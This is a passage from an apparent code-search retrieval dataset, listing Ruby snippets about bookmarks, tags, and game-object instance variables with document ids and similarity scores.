"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "c7ebd106df8a108897b56dc29f82a4f4",
"score": "0.50155103",
"text": "def render_bookmarks_control?\n false\n end",
"title": ""
},
{
"docid": "0691449eddb48c8de69bfdf3566254e3",
"score": "0.50112057",
"text": "def to_link(tag)\n Link.new(@bucket.client.http.path(@bucket.client.prefix, escape(@bucket.name), escape(@key)).path, tag)\n end",
"title": ""
},
{
"docid": "39112e84822c00db5a639ee988608a9c",
"score": "0.49945697",
"text": "def tag_path(object_or_class, id, options={})\n \"#{collection_path(object_or_class, nil, options)}/tags/#{id.is_a?(Tag) ? id.to_param : id}\"\n end",
"title": ""
},
{
"docid": "bad63095f5ff452d7bd0d207267f5e7c",
"score": "0.49945205",
"text": "def create\n \n if params[:note]\n \n bookmark = Bookmark.find_by_document_id_and_user_id(params[:id], current_or_guest_user.id) || Bookmark.create(:document_id => params[:id], user_id => current_or_guest_user.id)\n\n bookmark.notes = params[:notes] \n \n bookmark.user = current_or_guest_user\n bookmark.save\n @bookmarks = [{ :document_id => params[:id] }]\n success = true\n else \n if params[:bookmarks]\n @bookmarks = params[:bookmarks]\n else\n @bookmarks = [{ :document_id => params[:id] }]\n end\n\n current_or_guest_user.save! unless current_or_guest_user.persisted?\n\n success = @bookmarks.all? do |bookmark|\n current_or_guest_user.bookmarks.create(bookmark) unless current_or_guest_user.existing_bookmark_for(bookmark[:document_id])\n end\n end\n \n if request.xhr?\n success ? head(:no_content) : render(:text => \"\", :status => \"500\")\n else\n if @bookmarks.length > 0 && success\n #flash[:notice] = I18n.t('blacklight.bookmarks.add.success', :count => @bookmarks.length)\n elsif @bookmarks.length > 0\n flash[:error] = I18n.t('blacklight.bookmarks.add.failure', :count => @bookmarks.length)\n end\n\n redirect_to :back\n end\n end",
"title": ""
},
{
"docid": "ce11efe74e696a4fc2c644be995bbc74",
"score": "0.49867925",
"text": "def tag_string_linked(separator = Taggable.separator)\n tags.collect { |t| %|<a href=\"/tags/#{t.to_s_safe}\">#{t}</a>| }.join(separator)\n end",
"title": ""
},
{
"docid": "4df18b5d34a5acbc5f1facab8c01241d",
"score": "0.49847835",
"text": "def job_bookmarks(options={},params={})\n path = person_path(options)\n path += \"/job-bookmarks\"\n path = simple_query(path,options)\n get(path,params)\n end",
"title": ""
},
{
"docid": "7a3444289cd578e1ecad25ebcb2898e7",
"score": "0.49718496",
"text": "def tag_key\n \"post:tags:#{self.id}\"\n end",
"title": ""
},
{
"docid": "5200e1e525f227a3d43240dc3028039f",
"score": "0.49697146",
"text": "def create\n @tag = Tag.new(tag_params)\n @tag.title = @tag.title.downcase\n\n tag_entries = params[:tag_title] \n tag_entries_array = tag_entries.split(',')\n\n respond_to do |format|\n if @tag.save\n format.html { redirect_to blog_path(@tag.blog_id), notice: 'Tag was successfully created.' }\n #redirect_to takes you to a new path\n #Change redirect_to @tag to redirect_to blog_path(@tag.blog_id) to redirect to the specific show blog page with the associated blog id. Use rake routes to find the path.\n format.json { render action: 'show', status: :created, location: @tag }\n else\n format.html { render action: 'new' }\n format.json { render json: @tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d90acee29e6bfa5f627f8594aa596ef",
"score": "0.4962301",
"text": "def bookmark\n filename = File.join(@path, '.hg', 'bookmarks.current')\n if File.exist?(filename)\n file = File.open(filename, 'r')\n begin\n bookmark = file.read.chomp\n ensure\n file.close\n end\n bookmark\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "229608adb8873df15d256baae54bf3dc",
"score": "0.49522948",
"text": "def tagging_symbol\n '#'\n end",
"title": ""
},
{
"docid": "fa7ac7b2f72282d98b46ae005b0ed4f0",
"score": "0.49480885",
"text": "def prettify_tag_link(tag)\n\t\tif tag.name.nil?\n\t\t\t\"\"\n\t\telse\n#\t\t\t%{<a href=\"/shows?tags=#{u(tag.name)}+#{u(params[:tags])}\" title=\"#{u(tag.description)}\" style=\"color:\\##{@tagtypes.find{|tagtype| tagtype.id == tag.tagtype_id}.color};\">#{tag.name.tr(\"_\", \" \")}</a>}\n\t\t\tlink_to(tag.name.gsub(/_/, ' '), tag, {:title => tag.description, :style=>'color:#'+@tagtypes.find{|tagtype| tagtype.id == tag.tagtype_id}.color+';'})\n\t\tend\n\tend",
"title": ""
},
{
"docid": "30d814eb4863a3541f36cada66969b35",
"score": "0.4946019",
"text": "def link_to_tags_starting_by(prefix:)\n link_to(prefix, starting_by_tags_path(prefix: prefix),\n remote: :true,\n data: { no_turbolink: :true, prefix: prefix },\n class: 'pagination__item js-tags-starting-by-link')\n end",
"title": ""
},
{
"docid": "185e929ea024efa8df01a1f559d5f76a",
"score": "0.49415264",
"text": "def destroy\n @bookmark.delete_from_user(current_user)\n Tag.delete_tags_from_parent(@bookmark)\n\n respond_to do |format|\n format.html { redirect_to(user_bookmarks_path(:username => current_user.username)) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d29c72788307b4ffd3b02a01f154c2b9",
"score": "0.4925616",
"text": "def tag(tag); end",
"title": ""
},
{
"docid": "d29c72788307b4ffd3b02a01f154c2b9",
"score": "0.4925616",
"text": "def tag(tag); end",
"title": ""
},
{
"docid": "2caf9cb4af4ed3c0068b7d7c389b084a",
"score": "0.49243265",
"text": "def check_bookmark(bookmark)\n bookmark.url.strip!\n index = bookmark.url.index(\"?utm_\") || bookmark.url.index(\"&utm_\")\n if index\n bookmark.url = bookmark.url.slice(0, index)\n end\n bookmark.title.strip!\n bookmark.description.strip!\n bookmark.tags = text_to_tags(bookmark.tags)\n bookmark\nend",
"title": ""
},
{
"docid": "a56382102d6265af62a09a8ae41a49da",
"score": "0.49186814",
"text": "def bookmark(*args)\n if args[0].is_a? Array\n Drop.create(:bookmarks, args)\n else\n url, name = args[0], (args[1] || \"\")\n Drop.create(:bookmark, {:name => name, :redirect_url => url})\n end\n end",
"title": ""
},
{
"docid": "9fecea0996fee929b9e4828cb9e29055",
"score": "0.49174738",
"text": "def bookmarks_params\n params.require(:bookmark).permit(:url, :title, :all_tags)\n end",
"title": ""
},
{
"docid": "3a46232c845d9ff19a83a9990fa7f3af",
"score": "0.49174565",
"text": "def create_tag_pages\n puts 'create tag pages'\n tag_set(items).each do |tag|\n items << Nanoc3::Item.new(\n \"<%= render('_tag_page', :tag => '#{tag}')%>\", # use locals to pass data\n { :title => \"Category: #{tag}\", :is_hidden => true}, # do not include in sitemap.xml\n \"/tags/#{tag}/\", # identifier\n :binary => false\n )\n end\nend",
"title": ""
},
{
"docid": "6c7f0d92a46c57586c197c10776a085f",
"score": "0.49104837",
"text": "def parse_bookmark_from(b_node)\r\n Elements::Bookmark.new(b_node)\r\n end",
"title": ""
},
{
"docid": "cecc40ccbac616f21e82b4420addfd87",
"score": "0.49023837",
"text": "def to_path_fragment() end",
"title": ""
},
{
"docid": "5546a5bf5ceb947d55471d201868e11e",
"score": "0.48881003",
"text": "def link_for(name)\n %[<a href=\"/bloggery/tagged/#{h slugify(name)}/\">#{h name}</a>]\n end",
"title": ""
},
{
"docid": "e3d181cdbd3384e86684f109986757cb",
"score": "0.48809174",
"text": "def link_to_tags(tags)\n return unless tags\n links = []\n tags.each do |tag|\n links << \"<a href='/tags/#{tag}' rel='#{tag}'>#{tag}</a>\"\n end\n links.join(\", \")\n end",
"title": ""
},
{
"docid": "e9ddf76d41e3817e30a66d3d07caa76a",
"score": "0.4877494",
"text": "def showpath(uri)\n return escape(docpath(uri))\n end",
"title": ""
},
{
"docid": "5dec6f3e347afa696a27a3d047cbfe53",
"score": "0.48762482",
"text": "def bookmark\n\n posting_id = params[:id]\n bookmarks = current_user.bookmarks\n if Jobposting.find_by_posting_id(posting_id).blank?\n err = Jobposting::ERR_BAD_POSTING_ID\n elsif current_user.bookmarks.include?(posting_id)\n bookmarks.delete(posting_id.to_s)\n current_user.update(bookmarks: bookmarks)\n err = ERR_DUPE_BOOKMARKS # successfully removes bookmarks\n else\n bookmarks = bookmarks + [posting_id]\n current_user.update(bookmarks: bookmarks)\n err = SUCCESS\n end\n respond_to do |format|\n format.json { render json: { errCode: err } }\n format.html { render template: \"users/post\" } # not sure which template to use, feel free to edit\n end\n \n end",
"title": ""
},
{
"docid": "c09ba6366922de4e2b7b1bc830f00e2b",
"score": "0.48719355",
"text": "def link_to_bookmark(anchor_text,bookmark)\n controller = Bookmarktype.find(bookmark.model_type_id).model.pluralize\n title = Bookmarktype.find(bookmark.model_type_id).model.capitalize.constantize.get_title(bookmark.model_id)\n @item = Bookmarktype.find(bookmark.model_type_id).model.capitalize.constantize.find_by_id(bookmark.model_id)\n link_to \"#{anchor_text}. #{title}\", send(\"#{controller.singularize}_path\", @item)\n end",
"title": ""
},
{
"docid": "d3505a6efa963b2e779963ce2ce4274a",
"score": "0.487089",
"text": "def set_bookmark\n end",
"title": ""
},
{
"docid": "fe8f68fa2f110a378f01e8e7b808949a",
"score": "0.4866631",
"text": "def add_bookmark\n title = \"'The best place to advertise your flatshare'\"\n url = \"'http://londonflatmate.net#{request.request_uri}'\" \n %Q|<a href=\"javascript:bookmarksite(#{title}, #{url});\">Bookmark this page</a>|\n end",
"title": ""
},
{
"docid": "d59ed50eb16c195cc79ebfc0ff8a56f6",
"score": "0.4866076",
"text": "def link_to_bookmark(anchor_text='',bookmark)\n controller = BookmarkType.find(bookmark.model_type_id).model.pluralize\n title = BookmarkType.find(bookmark.model_type_id).model.capitalize.constantize.get_title(bookmark.model_id)\n @item = BookmarkType.find(bookmark.model_type_id).model.capitalize.constantize.find_by_id(bookmark.model_id)\n link_to \"#{anchor_text} #{title}\", send(\"#{controller.singularize}_path\", @item)\n end",
"title": ""
},
{
"docid": "0dd533e62b644fb2f5129ac2cfab3849",
"score": "0.485942",
"text": "def create_tag_pages\n articles_by_tag.each do |tag, posts|\n @items << Nanoc::Item.new(\n \"<%= render('tag', :tag => '#{tag}') %>\",\n {\n :title => \"Posts in #{tag}\",\n :h1 => \"#{tag} posts\",\n :posts => posts\n },\n \"/tags/#{tag}\",\n :binary => false\n )\n end\n end",
"title": ""
},
{
"docid": "17ae013bfde0ece054d3d38fe3f29873",
"score": "0.4848256",
"text": "def bucket_path\n reversed = (identifier.rjust(@depth, \"0\")).reverse.split(//)\n bucket_path = ([\"%s\"] * @depth).join(\"/\") % reversed\n end",
"title": ""
},
{
"docid": "b158f656be517bc69555f2cf593de3f9",
"score": "0.48381624",
"text": "def area_tag_urls\n urls 'area', 'href'\n end",
"title": ""
},
{
"docid": "20e07b810419e32ae99e3df19ecf785f",
"score": "0.48369354",
"text": "def collection\n user_id = current_user ? current_user.id : nil\n assocations = nil\n conditions = ['user_id = ?', user_id]\n if params[:a] == 'find' && ! params[:q].blank?\n q = \"%#{params[:q]}%\"\n conditions.first << ' AND (tags.name LIKE ? OR title LIKE ? OR notes LIKE ?)'\n conditions += [q, q, q]\n assocations = [:tags]\n end\n Bookmark.paginate_by_tag(params[:tag], :per_page => 8, :page => params[:page], :order => 'bookmarks.id ASC', :conditions => conditions, :include => assocations)\n end",
"title": ""
},
{
"docid": "0ea781a38409bab41564f6b95e5f3cdb",
"score": "0.48349193",
"text": "def path_quote\n self.safe_quote.gsub(/[ ]/, '\\ ')\n end",
"title": ""
},
{
"docid": "37773b1dba48578b4951c166a46001c7",
"score": "0.4832489",
"text": "def tag_path(options)\n if profile?\n profile_tag_path(profile, options)\n else\n super(options)\n end\n end",
"title": ""
},
{
"docid": "82e996f92f53c1a025a6e5316950e3a8",
"score": "0.48309517",
"text": "def tagged\n if params[:tags_name]\n add_breadcrumb(params[:tags_name])\n @repositories = Repository.includes([:user, :category]).public_repo.tagged_with(params[:tags_name].split(\"+\")).page(params[:page])\n else\n redirect_to [:repositories]\n end\n end",
"title": ""
},
{
"docid": "15c4be9041156c5baca94c293472c1e1",
"score": "0.4828791",
"text": "def hash_links\n self.gsub(/#([a-zA-Z]+)\\s*/, \"<a href=\\\"/tagged/\\\\1\\\">#\\\\1</a> \")\n end",
"title": ""
},
{
"docid": "15c4be9041156c5baca94c293472c1e1",
"score": "0.48286018",
"text": "def hash_links\n self.gsub(/#([a-zA-Z]+)\\s*/, \"<a href=\\\"/tagged/\\\\1\\\">#\\\\1</a> \")\n end",
"title": ""
},
{
"docid": "1c1cdc7a82cbf9f4185db2e9b77f57a7",
"score": "0.4822699",
"text": "def update_tag_path_by_context!(context, tag)\n if tag.has_repo?\n tag.set_path context.path\n end\n end",
"title": ""
}
] |
947b9199d1778c2f00df5547b4c1191f
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA all well behaved games maintain these instance variables
|
[
{
"docid": "cf5b43430d5c4fcd0ba9fcd697fccea8",
"score": "0.0",
"text": "def initialize(player_class_array)\r\n @state = Vector.new # state variables should have a fixed order\r\n @state_keys = {} # hash state variable names to indexes into @state\r\n @players = player_class_array.map {|c| c.new(self)}\r\n @next_player = 0 # index of player to move, set at end of do_move\r\n @game_over = false # set true in do_move on detecting end of game\r\n @min_turn_moves = nil # set value in subclass to enforce, and\r\n @max_turn_moves = nil # set value in subclass to enforce, and\r\n @turn_moves = 0 # increment in do_move if enforcing bounds\r\n @reward = nil # set in do_move for @next_player if game supports learning agents\r\n end",
"title": ""
}
] |
[
{
"docid": "3ed4cb54f2bc36108e18988abc2c1d85",
"score": "0.7125588",
"text": "def instance_variables() end",
"title": ""
},
{
"docid": "bbb29eeafb03b65af64c286ecf7910b0",
"score": "0.7057553",
"text": "def instance_variables; end",
"title": ""
},
{
"docid": "b081e5a32d33b8d49ed5b340f608c689",
"score": "0.6748211",
"text": "def class_variables() end",
"title": ""
},
{
"docid": "881f5b6c17d51413a444595636c8a4d0",
"score": "0.66888887",
"text": "def class_variables; end",
"title": ""
},
{
"docid": "10a376b6abfb07e63cc95541c9af9bb8",
"score": "0.6580871",
"text": "def class_variables\n end",
"title": ""
},
{
"docid": "24a09672859a8a64c13de4d3194f85e2",
"score": "0.6537381",
"text": "def init_private_members\r\n @original_direction = 2 # Original direction\r\n @original_pattern = 1 # Original pattern\r\n @anime_count = 0 # Animation count\r\n @stop_count = 0 # Stop count\r\n @jump_count = 0 # Jump count\r\n @jump_peak = 0 # Jump peak count\r\n @locked = false # Locked flag\r\n @prelock_direction = 0 # Direction before lock\r\n @move_succeed = true # Move success flag\r\n end",
"title": ""
},
{
"docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1",
"score": "0.65019846",
"text": "def private; end",
"title": ""
},
{
"docid": "4e6ac675f77b6dbaa5f17bc5c8cb9507",
"score": "0.6408932",
"text": "def variables; end",
"title": ""
},
{
"docid": "4e6ac675f77b6dbaa5f17bc5c8cb9507",
"score": "0.6408932",
"text": "def variables; end",
"title": ""
},
{
"docid": "5dc669c9ac5e9a75d8f38f5d39328bed",
"score": "0.6273056",
"text": "def init_public_members\r\n @id = 0\r\n @x = 0\r\n @y = 0\r\n @real_x = 0\r\n @real_y = 0\r\n @tile_id = 0\r\n @character_name = \"\"\r\n @character_index = 0\r\n @move_speed = 4\r\n @move_frequency = 6\r\n @walk_anime = true\r\n @step_anime = false\r\n @direction_fix = false\r\n @opacity = 255\r\n @blend_type = 0\r\n @direction = 2\r\n @pattern = 1\r\n @priority_type = 1\r\n @through = false\r\n @bush_depth = 0\r\n @animation_id = 0\r\n @balloon_id = 0\r\n @transparent = false\r\n end",
"title": ""
},
{
"docid": "da670c0dc82b9f9e85b373635ad6a71e",
"score": "0.6256392",
"text": "def initialize(x) # constructor \n @inst = x # instance variables start with @ \n @@cla += 1 # each object shares @@cla \n end",
"title": ""
},
{
"docid": "767223a1af3dd5f615853556b69bb0db",
"score": "0.6218179",
"text": "def init_public_members\n @id = 0\n @x = 0\n @y = 0\n @real_x = 0.0\n @real_y = 0.0\n @tile_id = 0\n @character_name = \"\"\n @character_index = 0\n @move_speed = 4\n @move_frequency = 6\n @walk_anime = true\n @step_anime = false\n @direction_fix = false\n @opacity = 255\n @blend_type = 0\n @direction = 2\n @pattern = 1\n @priority_type = 1\n @through = false\n @bush_depth = 0\n @animation_id = 0\n @balloon_id = 0\n @transparent = false\n end",
"title": ""
},
{
"docid": "143774a8a2a8a421c26f192b751c6445",
"score": "0.61987585",
"text": "def main_variable\r\n super\r\n main_battledata # Setup Battle Temp Data & Interpreter\r\n main_troopdata # Setup Troop Data\r\n # Initialize wait count\r\n @wait_count = 0\r\n end",
"title": ""
},
{
"docid": "08d4e8def9911c5ea60a13d7904078ee",
"score": "0.616857",
"text": "def instance_cache; end",
"title": ""
},
{
"docid": "57b3793bd8f85fb9b09df8cc98724ba1",
"score": "0.6098298",
"text": "def globals; end",
"title": ""
},
{
"docid": "57b3793bd8f85fb9b09df8cc98724ba1",
"score": "0.6098298",
"text": "def globals; end",
"title": ""
},
{
"docid": "7c385c935bbef2dd26ab9de61077c8fd",
"score": "0.60862464",
"text": "def initialize\n @instance_variable = 3 # Available in instance methods\n end",
"title": ""
},
{
"docid": "0d3e479a5d737e22a3fe54180455c5f4",
"score": "0.60563713",
"text": "def procedure_instance_variables\n [:@databases, :@archives, :@encryptors, :@compressors, :@storages, :@notifiers, :@syncers]\n end",
"title": ""
},
{
"docid": "5cf2cba0ee7f9825b63b087af5363b37",
"score": "0.6049716",
"text": "def init; end",
"title": ""
},
{
"docid": "5cf2cba0ee7f9825b63b087af5363b37",
"score": "0.6049716",
"text": "def init; end",
"title": ""
},
{
"docid": "5cf2cba0ee7f9825b63b087af5363b37",
"score": "0.6049716",
"text": "def init; end",
"title": ""
},
{
"docid": "5cf2cba0ee7f9825b63b087af5363b37",
"score": "0.6049716",
"text": "def init; end",
"title": ""
},
{
"docid": "8fe5d9dfe9699f7d2d1a272746c01f89",
"score": "0.59853",
"text": "def player_base\n @wealth = 0\n @fame = 0\n @current_exp = 0\n @exp_needed = 100\n @available_attribute_points = 30\n @total_proficiency_points = 1\n @available_proficiency_points = 1\n end",
"title": ""
},
{
"docid": "17cca84b93bc1cefe5719b07ff6f63c0",
"score": "0.5977301",
"text": "def instance_variable_names; end",
"title": ""
},
{
"docid": "dcd5b123a87eabbb90d0e7fa3352f2f1",
"score": "0.5973165",
"text": "def init_public_members\n super\n @trigger = 0\n @list = nil\n @starting = false\n if $game_map.effectus_event_starting == self\n $game_map.effectus_event_starting = nil\n end\n end",
"title": ""
},
{
"docid": "2ead7241dfc8022c5b42e254f16c17d9",
"score": "0.5941961",
"text": "def initialize\n @hit_soft_17 = nil\n super()\n end",
"title": ""
},
{
"docid": "b8ecb400cb030efcfbf142f3d520461a",
"score": "0.59184057",
"text": "def local_variables() end",
"title": ""
},
{
"docid": "559f2e9692169a65a455772d6daaca89",
"score": "0.59102553",
"text": "def global_variables() end",
"title": ""
},
{
"docid": "8742865b78eb755e40bb1bff22199433",
"score": "0.5857985",
"text": "def internship_passed; end",
"title": ""
},
{
"docid": "4b2a77ac30ebda28fe2399ffd7ef3ddb",
"score": "0.5857404",
"text": "def initialize\n @next_scene = nil\n @map_bgm = nil\n @map_bgs = nil\n @common_event_id = 0\n @in_battle = false\n @battle_proc = nil\n @shop_goods = nil\n @shop_purchase_only = false\n @name_actor_id = 0\n @name_max_char = 0\n @menu_beep = false\n @last_file_index = 0\n @debug_top_row = 0\n @debug_index = 0\n @background_bitmap = Bitmap.new(1, 1)\n end",
"title": ""
},
{
"docid": "49ea0cd463b72f171a1a33c29b66ca26",
"score": "0.5850993",
"text": "def custom_initialize_instance_variables\n @open_selector_bracket_detected = false\n @open_function_detected = false\n @open_include_detected = false\n @parents_stash = []\n @root_selectors = []\n @all_selectors = []\n @all_mixins = []\n @all_includes = []\n @all_properties = []\n end",
"title": ""
},
{
"docid": "50d6138cfcd3bb7ae9ded96419176fd4",
"score": "0.5846015",
"text": "def initialize()\n\t\t@@obj_count += 1\n\tend",
"title": ""
},
{
"docid": "1a2b909db90329f8e0d395a43f33ed3b",
"score": "0.58440274",
"text": "def variables_instance\n warn 'i dont like this!'\n []\n end",
"title": ""
},
{
"docid": "0c773075dbb33ba4e69ab4d5b706cd0a",
"score": "0.5834441",
"text": "def state\n self.instance_variables.map { |variable| self.instance_variable_get variable }\n end",
"title": ""
},
{
"docid": "0c773075dbb33ba4e69ab4d5b706cd0a",
"score": "0.5834441",
"text": "def state\n self.instance_variables.map { |variable| self.instance_variable_get variable }\n end",
"title": ""
},
{
"docid": "0c773075dbb33ba4e69ab4d5b706cd0a",
"score": "0.5834441",
"text": "def state\n self.instance_variables.map { |variable| self.instance_variable_get variable }\n end",
"title": ""
},
{
"docid": "5e82e0fcaaef388c4ce92092464cfabb",
"score": "0.58197886",
"text": "def singleton0_cache; end",
"title": ""
},
{
"docid": "18aa0584e23408de0e740b2f5c12dc90",
"score": "0.5811643",
"text": "def init; end",
"title": ""
},
{
"docid": "0b8b7b9666e4ed32bfd448198778e4e9",
"score": "0.5794002",
"text": "def probers; end",
"title": ""
},
{
"docid": "9ceaa5ebf65bc3523528e51bf8458508",
"score": "0.5782955",
"text": "def under_construction\n end",
"title": ""
},
{
"docid": "7120c99e71f676e3bf2cf4f93158ca5c",
"score": "0.57808435",
"text": "def intern_state\n super\n end",
"title": ""
},
{
"docid": "54f96c8a1aa27e5fc9f26d3ab70e9927",
"score": "0.5779219",
"text": "def inherited_instance_variables\n {\n :@cache_anonymous_models=>nil,\n :@dataset_method_modules=>:dup,\n :@dataset_module_class=>nil,\n :@db=>nil,\n :@default_set_fields_options=>:dup,\n :@fast_instance_delete_sql=>nil,\n :@fast_pk_lookup_sql=>nil,\n :@plugins=>:dup,\n :@primary_key=>nil,\n :@raise_on_save_failure=>nil,\n :@raise_on_typecast_failure=>nil,\n :@require_modification=>nil,\n :@require_valid_table=>nil,\n :@restrict_primary_key=>nil,\n :@setter_methods=>nil,\n :@simple_pk=>nil,\n :@simple_table=>nil,\n :@strict_param_setting=>nil,\n :@typecast_empty_string_to_nil=>nil,\n :@typecast_on_assignment=>nil,\n :@use_transactions=>nil\n }\n end",
"title": ""
},
{
"docid": "13c7b66a2171a73ee732c3a563cf8125",
"score": "0.57789236",
"text": "def initialize #everytie an instance of the class is initialized, we should push it into the @@all class variable\n @@all << self\n end",
"title": ""
},
{
"docid": "7ff2011fa3dc45585a9272310eafb765",
"score": "0.57722056",
"text": "def isolated; end",
"title": ""
},
{
"docid": "7ff2011fa3dc45585a9272310eafb765",
"score": "0.57722056",
"text": "def isolated; end",
"title": ""
},
{
"docid": "96a8885db0f01d69b55f56c0d78b6c8f",
"score": "0.5760925",
"text": "def test_classes_and_instances_do_not_share_instance_variables\n fido = Dog.new\n fido.name = \"Fido\"\n assert_equal 'Fido', fido.name\n assert_equal nil, Dog.name\n end",
"title": ""
},
{
"docid": "b61a4ba68f80637b0607ef5e33968e0b",
"score": "0.5758082",
"text": "def pausable; end",
"title": ""
},
{
"docid": "30db4e5d165a6098d1aeb8f8dd7b66e8",
"score": "0.57567465",
"text": "def initialize() end",
"title": ""
},
{
"docid": "49c7076c14a2800d1e78216f15bf783c",
"score": "0.57516694",
"text": "def inherited_instance_variables\n {\n :@allowed_columns=>:dup, # SEQUEL5: Remove\n :@cache_anonymous_models=>nil,\n :@dataset_method_modules=>:dup,\n :@dataset_module_class=>nil,\n :@db=>nil,\n :@default_set_fields_options=>:dup,\n :@fast_instance_delete_sql=>nil,\n :@fast_pk_lookup_sql=>nil,\n :@finder_loaders=>:dup, # SEQUEL5: Remove\n :@finders=>:dup, # SEQUEL5: Remove\n :@plugins=>:dup,\n :@primary_key=>nil,\n :@raise_on_save_failure=>nil,\n :@raise_on_typecast_failure=>nil,\n :@require_modification=>nil,\n :@require_valid_table=>nil,\n :@restrict_primary_key=>nil,\n :@setter_methods=>nil,\n :@simple_pk=>nil,\n :@simple_table=>nil,\n :@strict_param_setting=>nil,\n :@typecast_empty_string_to_nil=>nil,\n :@typecast_on_assignment=>nil,\n :@use_after_commit_rollback=>nil,\n :@use_transactions=>nil\n }\n end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "27b17d3efbfa96fcae1899acb992e406",
"score": "0.57273006",
"text": "def initialize; end",
"title": ""
},
{
"docid": "b94f2b83c750645ca5cdfd61b627c81c",
"score": "0.57268274",
"text": "def virus_effects #HINT: What is the SCOPE of instance variables?\n predicted_deaths\n speed_of_spread\n end",
"title": ""
},
{
"docid": "d7e9c1dce985d1e2d9b5173b4c4793c2",
"score": "0.5725831",
"text": "def initialize(name)\n @name = name\n @@all << self #pushes every instance into the @@all array\nend",
"title": ""
},
{
"docid": "6051c41f26d5545f1847c9a3fad337d4",
"score": "0.5696062",
"text": "def initialize()\n original_dir = Dir.pwd\n Dir.chdir(__dir__)\n\n classes_before = ObjectSpace.each_object(Class).to_a\n Dir[\"../model/game/*\"].each {|file|\n require_relative file\n }\n Dir.chdir(original_dir)\n\n classes_after = ObjectSpace.each_object(Class).to_a\n @modes_loaded = classes_after - classes_before\n\n @game_started = false\n @observer_views = []\n @players = []\n @clients_players = Hash.new\n @board = nil\n @clients_board = nil\n @player_playing = nil\n @clients_player_playing_index = nil\n @AI_players = 0\n # http://docs.ruby-lang.org/en/2.0.0/Hash.html\n @game_history = Hash.new(-1)\n @turn = 1\n @online_mode = false\n @player_name = nil\n @player_id = 1\n @save_requests_received = Hash.new(0)\n @turn_which_save_was_requested = -1\n @continuing_game = false\n end",
"title": ""
},
{
"docid": "b680c12704f6d3481e3b359cecbc21a6",
"score": "0.5695295",
"text": "def initialize\n @@spots = {}\n @@fines = {}\n end",
"title": ""
},
{
"docid": "1810cc5d81ff7811aea6e34b61dc7a23",
"score": "0.56927896",
"text": "def initialize *args\n @max_load = $MAX_LOAD\n @max_object_size = $MAX_OBJECT_SIZE\n @current_load = 0\n @cache = Hash.new()\n @semaphor = Mutex.new()\n end",
"title": ""
},
{
"docid": "ef1d8de1edccec3a664454458fd41227",
"score": "0.56866837",
"text": "def extra_state; end",
"title": ""
},
{
"docid": "dc5c4eb1131f03309cd2be77a7fae898",
"score": "0.5678683",
"text": "def initialize\n @timer = 0\n @timer_working = false\n @save_disabled = false\n @menu_disabled = false\n @encounter_disabled = false\n @save_count = 0\n @version_id = 0\n end",
"title": ""
},
{
"docid": "d8b164946763e367de8f850680782800",
"score": "0.5672517",
"text": "def initialize\n @name_boy = default_male_name\n @name_girl = default_female_name\n $game_switches[Yuki::Sw::Gender] = @playing_girl = false\n $game_variables[Yuki::Var::Player_ID] = @id_boy = rand(0x3FFFFFFF)\n @id_girl = (@id_boy ^ 0x28F4AB4C)\n @start_time = Time.new.to_i\n @play_time = 0\n @badges = Array.new(6 * 8, false)\n @region = 0\n @game_version = PSDK_CONFIG.game_version\n @current_version = PSDK_Version rescue 0\n @time_counter = 0\n load_time\n end",
"title": ""
},
{
"docid": "126eab45625d75cb65bd13c8e50d0696",
"score": "0.5671242",
"text": "def freeze; end",
"title": ""
},
{
"docid": "a344bd300fdd9dc04eb0dc630c54ae96",
"score": "0.56685287",
"text": "def initialize\n\t\t@current_state = {:A1 => nil, :A2 => nil, :A3 => nil,\n\t\t :B1 => nil, :B2 => nil, :B3 => nil, \n\t\t :C1 => nil, :C2 => nil, :C3 => nil}\n @over = false\n end",
"title": ""
},
{
"docid": "7255cf2b66f943d0a540ff85fc012570",
"score": "0.5664784",
"text": "def initialize_state\n @value_hash, @result_hash = {}, {}\n @derived_values, @attrs = [], []\n @timevec = []\n @utc_offset = Time.now.utc_offset\n @enum_index = 0\n end",
"title": ""
},
{
"docid": "89e51c10059ea6db73687220fdddf454",
"score": "0.56643045",
"text": "def instance_variables\n # Ruby 1.8.x returns string names, convert to symbols\n super.map(&:to_sym) - NON_PROXIED_INSTANCE_VARIABLES.to_a\n end",
"title": ""
},
{
"docid": "0a39799e76643367f1b6bfac65569895",
"score": "0.5653949",
"text": "def used?; end",
"title": ""
},
{
"docid": "9026e62c359e7e06774cd15d7f88cf63",
"score": "0.565171",
"text": "def main_battledata\r\n # Initialize each kind of temporary battle data\r\n $game_temp.in_battle = true\r\n $game_temp.battle_turn = 0\r\n $game_temp.battle_event_flags.clear\r\n $game_temp.battle_abort = false\r\n $game_temp.battle_main_phase = false\r\n $game_temp.battleback_name = $game_map.battleback_name\r\n $game_temp.forcing_battler = nil\r\n # Initialize battle event interpreter\r\n $game_system.battle_interpreter.setup(nil, 0)\r\n end",
"title": ""
},
{
"docid": "ca2dab96beb64fa86e528c700b8030f2",
"score": "0.56370825",
